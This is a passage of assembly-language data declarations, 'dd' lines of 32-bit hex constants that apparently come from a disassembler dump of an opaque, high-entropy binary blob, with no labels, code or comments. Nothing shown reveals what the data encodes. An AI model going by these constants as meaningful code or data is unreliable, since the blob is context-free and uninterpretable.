97928347h, 0B6DE80CEh, 392E6DD8h, 0E7427ED3h, 856CFBAEh dd 997CC71Ah, 3F0F05A3h, 0F2A7E43Eh, 88F7A9B3h, 1EB94678h dd 5ACD935Eh, 0E6C12529h, 9012C20Dh, 868A51EFh, 0D3FE0642h dd 0B2B29565h, 0B6D259A4h, 0FA1CA4ECh, 273D65A0h, 0EAD59062h dd 0D1B89FFFh, 867AB615h, 49EF6DDFh, 0A781D1F0h, 728D1B23h dd 9618D553h, 0A25BDFE1h, 0EAEC58A5h, 95FB2EB5h, 0AA9500CCh dd 16D53C98h, 3D7679BDh, 313D98C8h, 11DB5965h, 0A26A1149h dd 0DBFFD380h, 0CA3674CFh, 23464511h, 0DCDF6ACBh, 10DF9C56h dd 18522CA2h, 6D98729Fh, 24847333h, 35EFC40Ch, 0B47C5AC4h dd 63C90CB8h, 0B3D10AD5h, 0F8100FD4h, 0E44D1868h, 0C4DBDAC7h dd 4235E5ECh, 424551CAh, 0DB8F20EAh, 0D2DFD336h, 89DD2976h dd 36319895h, 0C8DDE080h, 0CCFAA9B1h, 9B0FE637h, 1EED3627h dd 45B44757h, 3ECCED95h, 0DD34B8A6h, 8EFDE545h, 3C42BA8Dh dd 0B61B05B5h, 636009A5h, 9F7DF1D8h, 0B68FE69Dh, 54BA170Bh dd 0EA99E864h, 4A1D5479h, 0ACE9ADD4h, 0A0A6D4CFh, 67BFECF2h dd 5873B34Ah, 45D255D5h, 0AC874E5Eh, 0B353B5C4h, 0E4ACDCE0h dd 7F6510A0h, 595B604Fh, 0EF97458h, 8FD07739h, 0AD4E7D6Ch dd 0ACF032CFh, 91FB8505h, 0FFC5E9C9h, 0CE8962A9h, 1BCB9AEAh dd 2D97FB0Ch, 0AB274BEAh, 5DEF61C5h, 5E9428D7h, 30DE5C7Dh dd 0EFFC1084h, 80DCDD55h, 5C02F120h, 91B95Ch, 0A19AA8CFh dd 1EC55D54h, 967D47B5h, 0C3C81AEDh, 0E4D19F74h, 0C907A613h dd 25837F5Ah, 2F48C8Fh, 4309E6A2h, 8055650Ch, 0B637AE66h dd 0A5954E3Eh, 5CF9B3D4h, 2122950Ah, 213ECFCBh, 9AF130A1h dd 336F2603h, 2375BF98h, 545EEBE4h, 4054B10Dh, 23029E67h dd 7A1E803Dh, 11DC4FC5h, 2E92F71Ah, 4FAF5296h, 7E702F97h dd 4FEA2374h, 0D50A8881h, 11213237h, 6886C3Ah, 419B420Ch dd 8BF0D70Ah, 6A7F0F0Ah, 4579DB7Ah, 49055181h, 610B2461h dd 0CD739A85h, 2763E7FAh, 0BFEEB6C8h, 9089FEE2h, 97EA38A3h dd 6F19BCh, 0B7278ED8h, 0F9B8F27Fh, 3481A5CCh, 0A1FA133Bh dd 0F651A84Dh, 0FB7D2672h, 2AF2122Ah, 0C31D8AE1h, 3D0F10EAh dd 0B90A32B9h, 0D5CF4EE3h, 0A561C9B2h, 0C2BC49A0h, 4448E00Bh dd 0FB029B42h, 40B1A28Eh, 871D86B7h, 0CC9265C1h, 15E5BBABh dd 0D1BCE9B6h, 684AA233h, 330835A5h, 0A923821Eh, 0FF012387h dd 0FFF40828h, 0B5D9A1A8h, 0CCBBFAE0h, 5C1A4122h, 0D29E8CACh dd 5FD47D5Fh, 283CB7C0h, 1A99F9ABh, 7837B45h, 0DCE84FE6h dd 0B9BD828Ah, 0B98C32E2h, 0B95ACA4h, 0E9B326EDh, 258246B2h dd 9BBABB71h, 0EEC5F598h, 342A2BADh, 1CEC71FCh, 5DAA18EDh dd 0EEFD4EBCh, 0C8346A94h, 0E0156AEFh, 9D9C25C0h, 6F74B0C0h dd 7BD8E92Fh, 0BAA1C648h, 7F0C22F4h, 0E1F0A964h, 0DE62CDA3h dd 0E8D44349h, 33568ACAh, 193A959Eh, 0B584C203h, 64E3089Ah dd 0D858B524h, 7C3FAFDFh, 0CB152462h, 36EADF68h, 0DD51E98Ah dd 30A52B91h, 0DFE5090Eh, 45CB74F9h, 0AAEF5B17h, 34AD3BC7h dd 0AAADBF3h, 46D69C8Eh, 0CAE58728h, 478AEA03h, 6EEAE8BAh dd 2B8F6ACh, 0CDB30AD2h, 9A658EDAh, 0F5C483Eh, 86618024h dd 0F1976A7Eh, 0E0C51F2h, 84412873h, 3772BE5Eh, 0A834D58Ch dd 0C60C5EC6h, 7B218662h, 2D1C7242h, 0A8DFA3F8h, 0D6F00835h dd 3C915231h, 30CFEFD1h, 0FAF92245h, 0A5427EDAh, 0E74EC15Ah dd 5E22723h, 5F397D3Bh, 0DB5D45D9h, 0A290EC8h, 0F217DE48h dd 329E8495h, 7651D49Ch, 0CC4F1478h, 894AE75Ch, 362E4A10h dd 54A923F9h, 86A0275Eh, 6AA32A63h, 0A06E598Bh, 0EB801C18h dd 241EE2BBh, 5CEEAE3h, 9D41A91Ah, 27F93628h, 0B12AC6D5h dd 0CC87F97Dh, 8A7F370Dh, 0BB9C55B1h, 0CC3915DDh, 0FB83E763h dd 0B2411541h, 811B7015h, 0CB8B09A8h, 953C8BDEh, 5F3CEF98h dd 0CF884258h, 0BDE4D4CDh dd 9257F9F1h, 0D11F073Bh, 0EF45EB9Bh, 844893F4h, 81E44D8Eh dd 466D7963h, 0AEDE4274h, 0EC872744h, 829049F3h, 90B35E67h dd 8B444E6Bh, 5862974Ch, 0E25496h, 0B7E8DA98h, 41FDA28h dd 0CBB0CE86h, 0E386E2DCh, 53BA07C6h, 0C3A37059h, 2C1DBBDBh dd 1F2B60FEh, 18243858h, 0F6E037E2h, 0EAD41B62h, 79F89711h dd 148ADFA0h, 4848C62Bh, 0C7F9A8B1h, 2F0181F7h, 2E24805Eh dd 7300363Bh, 0ECD8847Eh, 0C49AD9BCh, 5C2BC58h, 3AF93666h dd 0E4402546h, 0C2F243Eh, 0F76054CCh, 0CB1D240h, 4BC07CCCh dd 0E9AC26D4h, 44DE8B03h, 0F9E350E5h, 3C928482h, 845B3291h dd 50090068h, 0D9F39DB8h, 842B045Dh, 0F2DE5573h, 0C5232C8Fh dd 0DE0DCA13h, 0F1E68611h, 0C3067A1Ah, 0F3BE7BD4h, 0F1DAF9FBh dd 0AD63E3FAh, 0F294E754h, 0B2812E06h, 0BC0E1F70h, 73A54217h dd 80089AB8h, 2AA94FD6h, 138506C2h, 7A274B74h, 6A1036FAh dd 1EB2021Fh, 536EB82Dh, 93B26E38h, 0DC2CF59Bh, 2DD8E4A9h dd 5BCE996Bh, 0E8B27F98h, 10A8487Eh, 407A1630h, 1D23178Fh dd 373DA3DCh, 67690162h, 341FB71Dh, 3B8E5630h, 2621FBBh dd 77EC9781h, 0DAE68D1Eh, 5EF1A9Ah, 0A4C601D3h, 426F86D3h dd 0F0D8ED0Fh, 8C79B76Dh, 0A378A712h, 19A9639Fh, 495690B0h dd 5C57E259h, 9149BAF1h, 741D75E2h, 2884DCBEh, 2A057B20h dd 0F1B58807h, 830302ABh, 234B45C3h, 614FB5F4h, 9BDF30EEh dd 0DCEED7A6h, 6D00FCDAh, 0B75F0743h, 89139460h, 92B1709Eh dd 0FFF842CFh, 19FCFAA3h, 0A90CD83Fh, 0A232970Bh, 43469FC7h dd 41A35F58h, 6425C876h, 3A573F35h, 48C5130Ah, 6AE2110Ah dd 98F90FB0h, 5BCE0CA8h, 13472C1Dh, 3D2ACEEBh, 2B2FBA6Dh dd 6B3C8A98h, 0B2E08342h, 0FB9A54FFh, 0CF3BA51Eh, 17FEAD60h dd 0A236160h, 0F5C3AC3Ah, 8AEBEF81h, 40113A8Bh, 65117298h dd 0F209C01h, 0A94D1A21h, 97A09EB3h, 68123969h, 90A32204h dd 0A55BFCB1h, 0AB423B0Ah, 91420EEDh, 0D000BFD1h, 387E4EFBh dd 37A9C1Ch, 0E3C0C779h, 0A8DA5F58h, 42B2F294h, 0FE7FE900h dd 0E159E6BDh, 2F86CC9Dh, 0E402D7F1h, 0D0BA8E51h, 0BFB668Bh dd 0AAB3BCB3h, 3C969186h, 0D9BF85FDh, 2DFBE77Fh, 77830202h dd 0D5A4D238h, 2A9AD009h, 0D2BB2F26h, 93E210E4h, 28340BCEh dd 2C765AEAh, 14AD2B86h, 1B58B3D5h, 0E949459h, 0DF9659C4h dd 25F45394h, 0FD175F41h, 2DD8144Fh, 247480DBh, 0AB0C683Fh dd 0A0DFC87Fh, 0AD30846Eh, 1E696C30h, 51423FACh, 1E530D02h dd 0E44813B0h, 7340B325h, 0C33AEBEEh, 4D2D26C6h, 7B104446h dd 9DA1EECDh, 0A4972CFAh, 260F1645h, 4AA94AE4h, 18315989h dd 9AFC906Fh, 3993823Bh, 0B518081h, 596D6ABDh, 586909A5h dd 0A32A18C0h, 0EA6201EEh, 0A1029597h, 8044CE42h, 6BF65EB1h dd 0B5F20F6Ah, 0F7AB70EBh, 3AF07EEEh, 0FA997BA1h, 3BAB88B3h dd 895804C7h, 129FB71Ch, 14D26507h, 0CB53C0B4h, 61D3318Ch dd 0F3D056D8h, 4693FC53h, 17B93123h, 0D1160C9Ch, 2F1B2065h dd 0BAA4E0A2h, 565A46A8h, 0D7E0733Fh, 6880222Fh, 68512E0Bh dd 0B496BE7Eh, 0FE67356Eh, 0B3F8C887h, 0B5FE9C5Ch, 0F4CA3F2h dd 9A66039h, 0D86135DCh, 99B9F6CAh, 26052354h, 3D0331FAh dd 965C7E8Ah, 88D42F82h, 0D6772816h, 7C2BC4D8h, 930B0117h dd 4668E7B7h, 91EB743Bh, 0B8A530C5h, 3C2C5D20h, 1D168C7Fh dd 89E1BA5Eh, 2F917D73h, 21851E4Ch, 0D806D0FBh, 0D30302A5h dd 4BBBB4BDh, 0D2F5A340h, 0E5C80EAh, 0B61C689Bh, 0D181CF7Fh dd 40866D14h, 44FE4CEAh, 0F3E3D8A4h, 28E10FDCh, 71564D01h dd 4B9747FBh, 54F3EBF0h, 13D3B0EDh, 8D3E41CFh, 41FCB0FDh dd 9DAD4B2Eh, 0B576A62Ch, 38A9AA9Eh, 0F173D98Bh, 4C1B5302h dd 7ABFB4F2h, 0FD10DC72h, 0BE4A53E7h, 512FF8A2h, 4CBAF52Fh dd 22D673AAh, 0A8079159h, 71D2F4E8h, 7AB4E3Ah, 0E6D432CCh dd 43FA71E0h, 0BFA0DE68h, 0DA6B0D7Ah, 0C3ECB90Ch, 0C2EDE453h dd 0E0421591h, 27744CBCh, 83138C68h, 33B08441h, 8495EF94h dd 0FECB4AB9h, 0BAA42CD7h, 0FE847950h, 3A1E7E0Ch, 0BF72C07Ah dd 62775968h, 3777E0DFh, 5C3CC9DFh, 17839C4Ah, 0E1E70ABh dd 94D82E08h, 21E5D07Ch, 0C34E5D75h, 0D829611Ch, 0F443FE41h dd 0E1674036h, 0C3CF0CDEh, 796A5ECBh, 5095434Bh, 45748263h dd 80E1DC9Ah, 6CB6E66Bh, 0DC5FCB13h, 45357D57h, 8A62AEFCh dd 0AFB65CECh, 39325221h, 0C8EEEA8h, 0F2FF72E5h, 0C9B6631Fh dd 5438682Ch, 1D860A71h, 65C9F65Eh, 5966B619h, 61B3A146h dd 0AD443277h, 5259D129h, 90F79B74h, 12F90F63h, 0D26D47ADh dd 1525ECEEh, 5D549A6h, 7A00D757h, 51124324h, 6981DC75h dd 9A3E87E5h, 236BEC22h, 14953709h, 7D246B7h, 0F960C0AAh dd 7B3313BFh, 77A7609Eh, 0AE87EF67h, 7EA3B503h, 0E5FCB853h dd 53B34A68h, 7E8EB320h, 0BE10BC73h, 0C3F5E684h, 0E407275Ah dd 0B0E1406Eh, 6DE46AAh, 4FEB7385h, 0F2FF8821h, 6134323Ch dd 140CB66Eh, 0E849C658h, 9F773B41h, 0CF91C991h, 92F5CFC1h dd 0DB484278h, 0BA109490h, 0F9BE4211h, 0AD2B6FBDh, 12986057h dd 392FFFF6h, 0D29B5750h, 0EA3ECC34h, 0B9EF622Ah, 47E42114h dd 0A6315A46h, 0FEB599C4h, 0E434B4C6h, 125BA6BBh, 0E174136Fh dd 0B0B5E9BDh, 915B3C3Eh, 0E87B0DB1h, 0C0FBD55Ch, 0B15F6320h dd 0A6E1974Ah, 0A8864E16h, 0A9E7B64Fh, 5A2E6148h, 3BED2816h dd 18086E79h, 396E6CBCh, 26881639h, 3BA1AFACh, 43603017h dd 0A3B69449h, 0D0024769h, 591FA165h, 870555B6h, 8DC2E4C4h dd 667098E4h, 2AFCB64Fh, 0D92578h, 9F05D6BBh, 7B5265BBh dd 0F92C40E2h, 34E87E42h, 82F1B3EAh, 0E5D5D93Ch, 6F16E518h dd 0CA3AC5D8h, 36051C11h, 1C550AC4h, 0FCF9C1AEh, 0C710E629h dd 0BC3E537Fh, 2DBA512Fh, 0A1BED06Bh, 0C85FE402h, 3651B649h dd 7AE66074h, 0B4ED42C0h, 90AC3BF0h, 44077291h, 1795F8A7h dd 8E499F94h, 46A71C0Dh, 0D2B4D66h, 1FB7E360h, 5E42D13Ah dd 0E4D2A780h, 97B61843h, 5D19086Eh, 0B2F0297Eh, 295FEB1Bh dd 0ECF3D303h, 491C726Eh, 41D5B02Ch, 0BB4C1299h, 608FD13Fh dd 0EDA06D8Ah, 0E3B7EE56h, 27A80181h, 0FDB1C851h, 7599FCCFh dd 0EEEF3FACh, 5C5F26F6h, 0EB763701h, 2A71F436h, 0D20B2D6h dd 3DA582A5h, 5D61A971h, 42C6862Bh, 0C56C3A03h, 1EBB897Eh dd 0D4EC8BA9h, 0A7F037AAh, 683C0524h, 0A134445Eh, 3314E953h dd 0DE55558h, 17048F22h, 219A01C5h, 0E9671349h, 0C56FF6C9h dd 2D437945h, 4C8B2D9Bh, 26EB18D6h, 85869F6Fh, 0A7106E7Eh dd 0A7E9288Bh, 0ECDD050Ch, 8BAAB253h, 631EEFFCh, 7D4FB9BFh dd 827A70F4h, 4391F795h, 0B317CD90h, 7CAE09ECh, 0CEDD36EBh dd 56CBA5A9h, 0AAC75A8Ah, 25D48C95h, 40EC38EBh, 9D1D4B66h dd 77BF32C3h, 74A63E63h, 829F8E18h, 0B5EC663Bh, 5B730544h dd 52ACD773h, 352565Dh, 577C6C4Ah, 3B61A41h, 11DF2770h dd 1943111Eh, 0D7BD7A8h, 62938CC5h, 48BD5FC8h, 0FD090199h dd 4333AFD8h, 0A5862AB3h, 0AAE9575h, 0E72049C0h, 0BCD15E8Dh dd 0B903620Ch, 0A2ECC449h, 0E4DE2C83h, 3D08A527h, 3419F0DEh dd 7DCF201Dh, 0AB70370Ch, 3C8D0F69h, 119877FBh, 7FAF9FACh dd 6545D77Ah, 6A03633Dh, 1DFB8942h, 782C12D0h, 44863A6Bh dd 114A995Ch, 0E0BC0CA4h, 48E7C5A3h, 0A954ED99h, 3B9541B2h dd 0B0C589BFh, 0DE5B1F01h dd 31A0E4Ah, 0F88147D5h, 8B4E01EFh, 0ABB72979h, 9AB9E56Fh dd 3CC721F3h, 9EDE28ABh, 208449Dh, 6CBA0F71h, 0B1EE14AAh dd 87528D3Ch, 4193474Fh, 91CE7809h, 0A433ABBBh, 0B668F197h dd 67D96704h, 4A52118Ah, 68390A2Ch, 1DB31388h, 74D5ADB8h dd 16BF4BBFh, 1A11B934h, 0EA3EAFFDh, 8131F136h, 64A5DB8Dh dd 776DB461h, 75D53726h, 0AFD30B48h, 65C20F20h, 135AF273h dd 39FA690Eh, 9A141F30h, 61B19F7Eh, 437E903Ch, 9D8CD5CCh dd 0B4BC7CFBh, 0FD8A8170h, 2D8E7238h, 10734EC5h, 0EA093B35h dd 6259BC0Bh, 0F69536B1h, 85562166h, 7B10E851h, 0C1629FBEh dd 666E13F4h, 6D36A453h, 24319BDh, 0B1260F3Dh, 4E40C4Ah dd 0EBCD5019h, 843BA089h, 3A15F597h, 8D1E5E8Fh, 3AF15493h dd 82E6F93Bh, 0E4243AAAh, 0D12CCF31h, 9391F287h, 7FBF1911h dd 0E3CF651Ah, 124FD70Ah, 42ED6F69h, 6AA426EEh, 0FB7F4EECh dd 388D1340h, 0A7EE4D1h, 0E484E251h, 9B36ADF7h, 0DD35DCDBh dd 0B6BDD54Ah, 0B3E87037h, 12ACEC7Ch, 0E2457D25h, 7AD93BC8h dd 3C054DE7h, 65DAB09Dh, 0E2A3C7CCh, 3CAD6EAAh, 0A769B643h dd 5AC3DCB9h, 3352B246h, 8BB90836h, 4695A219h, 0C643564Bh dd 0D87D5F55h, 2D3D3F15h, 0E7A2E2A6h, 40AF5989h, 0BB382DCCh dd 0AF85FEF4h, 0B7CCA0CBh, 0A968871Ch, 0F3C4D98h, 0C42E441Dh dd 0EFCAAE1Ah, 2DBACAB2h, 0B8BA97AEh, 0DF2274CCh, 0A9536648h dd 0AAF1A826h, 190536D6h, 750D1FD0h, 0BD82645Ch, 60E03B33h dd 44962C82h, 8FC39236h, 23927364h, 77A9BA4Ah, 0EE0E05FCh dd 0B692864Bh, 537E26FBh, 0F0A8BD2Bh, 0A6C8C0h, 0BB469121h dd 6D73264Eh, 7315B39Ch, 94E357E1h, 4CE4D313h, 2AC212Eh dd 2BBFA89Ch, 499AF0E1h, 7AF9F085h, 444264E2h, 74F07B5h dd 156429F0h, 59E15C85h, 85160AA3h, 9E413EEAh, 7D043108h dd 6A359E44h, 769D625Bh, 0B61300EBh, 0F7BA3C16h, 63EAA63Bh dd 83E55B20h, 0F0215B90h, 43F3C278h, 9DC9390h, 78B31784h dd 77561D4Ch, 0AC99027h, 8FC02C0h, 5D07F847h, 13AE4946h dd 45A94894h, 0CDA608AAh, 7E3981Ch, 0F5BF8F6h, 0A8501D10h dd 0C645AFAFh, 4150534Fh, 0AECC526h, 6D1CCA1Ah, 38902DD4h dd 4A812693h, 3AFD6090h, 6D1AF5E1h, 0AF85E059h, 0F27F32A6h dd 0CF7C5430h, 2795AC47h, 0A3B8DF3Ah, 76349D48h, 6D6B2D82h dd 0FD349F28h, 84E724DFh, 0ED4B4E8Ch, 0F37FD182h, 5F9FB86Eh dd 0C87AAB45h, 0E530677Ch, 0FB89D063h, 379C8140h, 127ADFA4h dd 0B4DBB662h, 27C5A912h, 0E72AD5D4h, 6C932C82h, 0D07DDE8Ah dd 68099EBCh, 4DF3522Eh, 0E4AF7E59h, 0ABA785B9h, 0B5FF3530h dd 8D67D8E2h, 87A2D08Dh, 1A93B85Bh, 80BE667Ah, 270C5373h dd 0BAD3D4DCh, 841F3457h, 565D53AFh, 23ABEE5Eh, 0E11BBBF9h dd 9236D359h, 0B00EAA6Eh, 3F9EBA7Bh, 4DEE60E1h, 0CF9C264Ch dd 175BC829h, 0E0C18782h, 34273FF6h, 87CC70CFh, 0EC6FFBE7h dd 7B51EC3Ch, 60208FA7h, 5CDF361Eh, 0A6925AB8h, 0EFD9A4F0h dd 727BDD6Ah, 20AAB34h, 79F1E6A3h, 0A10AE955h, 0D402B75Dh dd 7910DA4Ah, 0E2129CBh, 9F65F62Ch, 18F3FBE1h, 81558C0Ah dd 5472A2Bh, 0A46966ECh, 7B7D063Fh, 7EE4142Dh, 63BCD920h dd 0E1105072h, 1100AF03h, 0DA7EC8DBh, 82A75B1Fh, 436BCC48h dd 3F236F43h, 6CBC43BDh, 56DD7754h, 0BD0C2ABBh, 36C68442h dd 49B265ACh, 27047D5Bh, 0FD0147FBh, 90173D17h, 9CDCF74Dh dd 60CC120Eh, 0B54ACE7Ah, 0DB42E25Eh, 0BA1CC45Bh, 4D9577C1h dd 75E76808h, 0C393676Ch, 0DFE0CACDh, 76C1F616h, 81E6E23Ah dd 362FEBD2h, 2A99BF3Bh, 9DE7D526h, 0D890A28Eh, 0A3B7039Ch dd 67716A21h, 88D2B89Fh, 5CB47D99h, 2E799042h, 8B778055h dd 3BCAA628h, 0EAD64130h, 53F5435Dh, 0B9DE6462h, 0DE830A4Dh dd 0EF813B2h, 5662EFB6h, 1566458h, 42215EC5h, 0E7493B1Ah dd 92702EF7h, 8BD62446h, 0D674B0CAh, 5431D580h, 51D35E7Bh dd 0B7915C76h, 9904940Ah, 0B8321CD0h, 0E62160E4h, 771D10D3h dd 0ED7C70BEh, 653620B0h, 0BB3F6751h, 9957FA0h, 0EA21632Fh dd 43602DEh, 0FE38A3F2h, 26A1AA34h, 7980EE36h, 39C01229h dd 0A92D40A1h, 14F7970Fh, 268CCEE9h, 3DD44010h, 0D0CB2AEEh dd 5EF7DBF1h, 254A0B36h, 9037858h, 11670CDAh, 3C0F868Ch dd 486F4A46h, 0E4A61D3Eh, 0E4BDA7D9h, 6B4AFC4Fh, 7BECCD8h dd 73539200h, 901E6EEDh, 5B3AD19Ah, 5E51F323h, 13CCC078h dd 1E08A313h, 19DF803Eh, 4658BC0Eh, 0BD0F5812h, 2782C0FAh dd 71623933h, 0AD6A8733h, 0E49D1155h, 0DF5D7515h, 71DADCA2h dd 0D108851Bh, 0D596FD99h, 62E8CAFAh, 0C9238A1Fh, 896EFB87h dd 0CCED63EDh, 0AC8CD7B4h, 2975774Dh, 54963C7Ch, 8A036750h dd 0E0E839FDh, 56525507h, 0BB3D9EE8h, 170BC7AFh, 0F00CD332h dd 0EFEB7B31h, 78B78C22h, 0FC2776D5h, 4FA0EAC8h, 81705475h dd 0BD6DC867h, 4939B9E6h, 0B4F1D069h, 53ECE896h, 0E2EED201h dd 8BB9F110h, 0B7A6316h, 0EC08B187h, 0F8502738h, 0BE345E45h dd 396806E6h, 0B4E4C8B4h, 0DED87F04h, 7FB5AA8Eh, 2312D165h dd 0ED59137Ah, 57F97BA7h, 1643902Fh, 0BB7A147Fh, 6381B6EEh dd 94706601h, 0A797789Dh, 0ED9D8F32h, 466E948Ch, 0DB256C4Fh dd 0AC6D55A6h, 978B60B2h, 37593CD8h, 297EFA92h, 1CD42027h dd 8F9D30CFh, 0D660D2E8h, 0DA5D714Bh, 0D120E285h, 0D7792806h dd 0CDE8A2FAh, 1C625AC6h, 0AECF9757h, 0ACFC548Ah, 9CE768E3h dd 303796FBh, 2B915FDh, 4A3E47D7h, 374D49F4h, 691974DCh dd 0ED02390Dh, 644BE5Dh, 0C97F286Dh, 61EFCC09h, 0F13A2726h dd 88D43CD6h, 0E51C458Dh, 0F4BD7241h, 3B2EE3Ch, 2CA3539Eh dd 488DA978h, 8B785D1h, 0DE05D248h, 0A5241E52h, 9D4C53B1h dd 0D34A0225h, 403D5DD7h, 0C2E6B61Fh, 0DAEB1AA4h, 3B534AACh dd 255499Fh, 0F851A430h, 9625DBC9h, 0EC808BBAh, 48978BEAh dd 1B8FB1BDh, 0D3B159BDh, 0BBE44E2Eh, 90D8E585h, 0F762977Dh dd 5B68B782h, 6424B00Bh, 0C47734AFh, 2FC5DF7Eh, 6AD46A11h dd 9F5D027Bh, 3E379A95h, 3A1E16A9h, 19469FC0h, 9532337Ah dd 0DE4210A5h, 8B226E30h, 7D3BF7EEh, 0DBAA0CECh, 79F91CBDh dd 4C7F8FB5h, 5D39773Ah, 6F1F17Bh, 0FFEC0578h, 0EE973515h dd 0F9573D5Eh, 0DBF53CCAh, 913AAC76h, 0B3355Bh, 0CCD31D7Fh dd 8E1A208Dh, 36FA144h, 0F4A55334h, 9A67381h, 0DFC247F6h dd 899C9E3Fh, 4D4232CFh, 69315334h, 1DA50C50h, 0D991B6E8h dd 7BCD5505h, 3621D4DAh, 0A0B20FACh, 25582B31h, 605BFC24h dd 80E4CDF2h, 0D670CC1Dh, 232DECC4h, 0E1D0737h, 69B7A272h dd 6EED94FAh, 14348BCDh, 73D62508h, 0C690C380h, 0E309B241h dd 83CE9CBCh, 38D5AA87h, 0D6D32630h, 89DB7B53h, 763F995Bh dd 92A60A8Ch, 251651B0h, 6B87929Dh, 44E9250Fh, 495D4A48h dd 690B1BF7h, 469487C9h, 5CD6487Bh, 0BBFB420Ah, 90812092h dd 0F428B3FBh, 0EA2B0264h, 0F9068425h, 30CB3D3Dh, 40780806h dd 0E361C7DFh, 0A0DCBCC8h, 0D7759A24h, 52BE1FF0h, 7297CEAh dd 0FB73939Bh, 0DB75DE10h, 0AAC8437Ah, 9E31072h, 0F428D4EDh dd 968EE0C6h, 2404483Bh, 0FFF48664h, 0DD8D324h, 44B017AFh dd 2ABC7A15h, 0DCA2F4B0h, 9FDC0A00h, 2303284Fh, 800F4C9Eh dd 0F4544746h, 0ACE1625Ah, 37FDF535h, 0E3A65A31h, 897EA674h dd 68D17D04h, 0BC9E97DAh dd 14BF10C6h, 979D738Dh, 0F02D4CCEh, 19E56F7Eh, 72BACA6Fh dd 9DE445B2h, 0C95C0FECh, 601F57FAh, 5E6DC11Ch, 759D678Fh dd 132C36FFh, 0D484588Fh, 3FD01D5h, 0B0EF043Eh, 0A272B73Eh dd 0C3C9FCABh, 9DC00678h, 973E47Bh, 0A668FB03h, 7FD58478h dd 0FDE0088Fh, 0F6EA2E73h, 48BD100Dh, 41E32611h, 145FD35Eh dd 464BAB2Dh, 0F276CB14h, 8F0360A2h, 3E9A23B2h, 8856C2C7h dd 0F098E74Ch, 616244BDh, 0D7DD87FDh, 8C4F088Dh, 6E04E70Eh dd 0E18EEA06h, 0A6FA752h, 7ED87C81h, 0B99CBB8Ah, 72F8ED1h dd 0C3CAE73h, 0FD004F5Dh, 6AD797B8h, 13BF31E6h, 8AF78C37h dd 52381E00h, 0C525556Fh, 488C8337h, 0D35A7C15h, 69504393h dd 0AB8993B7h, 6E6053Bh, 8DE445F9h, 0EC83A54Fh, 0D67B2867h dd 93BF9CA0h, 0C6004A80h, 3C6212A7h, 84507222h, 11755885h dd 3DB1FFF4h, 4A44134Bh, 25E52F0Ah, 5F021BFDh, 44B79FE4h dd 50F549DAh, 147A525Dh, 990C3837h, 9D89D8D5h, 0A229FFD6h dd 538C8508h, 57484E70h, 1DEFFD7Eh, 0A106F328h, 717F9F7h dd 0A35463C6h, 0A96257C4h, 0F6FF18FDh, 308C2CE0h, 0BC7CB368h dd 0D51D9DD7h, 0EBCBC317h, 472090CEh, 0EB8536A7h, 3AFFC68Dh dd 5AF1F3A6h, 5E48B149h, 11E43799h, 19B34B4Ch, 9123A40Dh dd 5CB11661h, 0E331016Dh, 1957F0B2h, 0DDEE661Eh, 7815879Bh dd 5EAAF52h, 82C60FE2h, 0C63FF114h, 8A5E960Ch, 0F457EFF3h dd 794870BEh, 0FB25260Ah, 9D639086h, 272E22AEh, 36746E3Fh dd 0AB5EE77Dh, 0F7D4FBA1h, 0AAF31B14h, 0C8C47C02h, 0CC294540h dd 0A545C455h, 7BD660DBh, 0D317B104h, 0DA0F4576h, 3838BAFBh dd 0A7D55172h, 51B7BA45h, 0A0F5187Ch, 0E408A32Dh, 2141F9BCh dd 0B7A98D9Dh, 0ED92E07Fh, 18065334h, 904C92DDh, 0E93AF0A0h dd 841BD682h, 23ADB79Bh, 0CF51511h, 0B7B74E8Ch, 11D0C7A2h dd 47544C05h, 61069573h, 84A4F4EEh, 86FE505Bh, 0AB58870Eh dd 0F50A521Ch, 40DE53EAh, 0FAB431A4h, 43244789h, 43D370BBh dd 542512CAh, 8BA67DADh, 303B2EA2h, 4D6990D9h, 0B8D694EDh dd 919F768Bh, 7FDF911Eh, 5E319F29h, 268CBC2Ch, 98002438h dd 372F1FE0h, 0BFECADC8h, 82EB8ACAh, 0E607ADC1h, 7931C309h dd 0B935E5F9h, 0A6BADFC1h, 2E0E4429h, 0A492E1AFh, 552F5629h dd 0C9765C63h, 3C0D7655h, 7944C4F7h, 505EF999h, 5F242F4Bh dd 5B3F40B9h, 9B0C74Fh, 4F0ACE5Ah, 1E49C358h, 476D5948h dd 0B38176Bh, 8DFD860Eh, 464298DDh, 6513D197h, 834C06B5h dd 3AAD395Fh, 62B06E02h, 18414070h, 8752CF29h, 51B73572h dd 98F1BA15h, 578898Ch, 0C7C83C13h, 0B6677F29h, 0D554A6DAh dd 0EA5C258Dh, 0D7E58E91h, 0C9C99BD6h, 980A3BA9h, 0A97B35D1h dd 1A699C29h, 86F5CCF8h, 4F71FED0h, 0C378670h, 4FD6E12Eh dd 6BC94428h, 0B02E59FDh, 0E1C0CB9Ah, 682BD466h, 0E47B6AF2h dd 508C32B2h, 4FF56DCEh, 0A1C3DE0h, 2F26C937h, 22AD067h dd 0F49AC206h, 2135E07Ch, 829D9782h, 50542244h, 44BAA643h dd 84621F70h, 0DADC1AFh, 3CA980FAh, 0F57A87F4h, 0EDD61B1Fh dd 0AC571516h, 0B6163EA3h, 487EAD14h, 0E91E82DEh, 62FE6C76h dd 0A35BB431h, 4C566CF5h, 0A155B0A4h, 5643F271h, 0DA4154ABh dd 4CF5B145h, 0A6B58C25h, 0FC55A9F4h, 0D35968DBh, 0C8CF5AFEh dd 5A3ACED0h, 6C6EF0B5h, 0BCD610E0h, 9580B081h, 14FD504Ch dd 71B5D354h, 636159B4h, 0CCB0C234h, 0FAB6DB63h, 0CBB4DDD9h dd 0E9C768ACh, 0BC013130h, 0A4B9F363h, 77884996h, 0ACB9A8B6h dd 0DB47E225h, 6A8AAF42h, 0F8112E56h, 6E419860h, 5EDD468Bh dd 88466517h, 3A636DC7h, 58F90178h, 0AB786702h, 6616C5Fh dd 31785743h, 4D039A76h, 1705EA1Bh, 0A9BA2FCCh, 0E22656Ah dd 126CD283h, 0C11F810Ch, 730EA6E9h, 8CEFFE2Ch, 0BCBF2A2Bh dd 98163C99h, 79AB0F1Dh, 0A1BD51E4h, 1D07D122h, 0EB125699h dd 726D141Dh, 44D0ABE6h, 0E4980B93h, 99C68A0h, 1E9EA748h dd 5A6FE317h, 0B835B1CDh, 2FAF6162h, 1AAE264h, 0BF44046Dh dd 700093BDh, 13E76EAAh, 3BF2FC37h, 28D81D03h, 0B5D192A3h dd 7BD47CCBh, 0E5BFF8EDh, 0B8629A7Ah, 4C6AB9BCh, 49BD7729h dd 523D9838h, 0E934A896h, 777C9816h, 0B53CE7FCh, 8E97F439h dd 0CF31676Ah, 0E371870Bh, 